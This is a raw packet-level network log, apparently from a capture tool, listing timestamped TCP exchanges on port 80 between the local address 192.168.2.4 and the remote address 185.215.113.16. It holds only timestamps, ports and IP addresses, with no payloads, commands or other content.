Nov 1, 2024 10:56:10.279438019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279449940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279449940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.279488087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.279510021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.282021999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.323282003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.425829887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.425858021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.425909042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.425934076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.425997019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426054001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426115036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426165104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426176071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426203966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426285982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426296949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426306963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426317930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426330090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426331043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426361084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426378965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426501036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426517963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426528931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426539898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426567078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426595926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426645994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426656008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426666021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426671982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426682949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426712990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426820040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426829100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426839113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426850080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426862955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426893950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.426955938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.426966906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427011013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427043915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427056074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427064896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427078009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427088976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427098036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427098036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427102089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427114010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427124023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427154064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427408934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427419901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427433014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427443981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427455902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427472115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427491903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427491903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427527905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427716017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427726030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427735090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427746058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427757025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427767992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427779913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427783966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427795887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.427807093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.427855015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428033113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428045034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428054094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428065062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428076029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428086042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428111076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428134918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428134918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428147078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428157091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428168058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428179979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428191900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428195000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428196907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428209066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428219080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428231001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428253889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428801060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428811073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428821087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428831100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428842068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428853035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428859949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428863049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428879976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428890944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428901911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428910017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428910017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428914070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428925991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428937912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428939104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428949118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.428993940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.428993940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429466963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429477930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429487944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429498911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429510117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429518938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429523945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429534912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429538965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429544926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429557085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429557085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429568052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429579020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429585934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429589987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429606915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429620028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429620981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429632902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429642916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429645061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429656982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429666996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.429681063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.429699898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430259943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430275917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430285931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430291891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430303097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430311918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430321932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430329084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430329084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430331945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430342913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430365086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430376053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430377007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430391073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430392027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430402994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430412054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430416107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430422068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430433035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430439949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430443048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430454016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430457115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430464983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430474043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430485010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.430495024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430514097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.430531025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.431210041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431225061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431236982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431252003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431262016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431267023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431271076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431279898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431284904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431289911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431294918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431298971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431303024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431308031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431318045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431324005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431328058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431333065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431339025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431344986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431349993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.431384087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.431384087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.431474924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.431514025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432143927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432153940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432173014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432182074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432184935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432193995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432203054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432210922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432221889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432228088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432236910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432248116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432256937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432260990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432261944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432271957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432281971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432286978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432286978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432292938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432303905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432303905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432315111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432324886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432337046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432341099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432347059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432358980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432364941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432368994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.432378054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.432403088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433105946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433118105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433128119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433140039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433147907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433150053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433160067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433161020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433171034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433180094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433190107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433192968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433201075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433207035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433217049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433228970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433228970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433238983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433248997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433259964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433264017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433270931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433274031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433280945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433293104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433305025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433305979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433315039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433315992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433325052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433336973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433346987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433348894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433361053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433372021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433382988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433384895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433384895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433412075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.433960915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433974028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433981895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433998108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.433999062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.434022903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.468347073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.468370914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.468379974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.468422890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.468467951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.579610109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579634905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579646111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579684973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.579715967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579730034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579754114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.579819918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579832077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579874992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.579950094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579961061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579971075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579982996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.579993963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580015898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580032110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580050945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580086946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580096960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580137014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580168009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580179930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580190897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580200911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580219030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580235004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580415964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580426931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580436945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580447912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580460072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580460072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580471039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580482960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580483913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580521107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580559969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580677032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580703020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580713987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580724001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580734015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580745935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580749989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580758095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580770016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580775023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580780983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580792904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580792904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580833912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.580987930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.580997944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.581007957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.581034899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.581058025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.581193924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.581203938 CET	80	49738	185.215.113.16	192.168.2.4
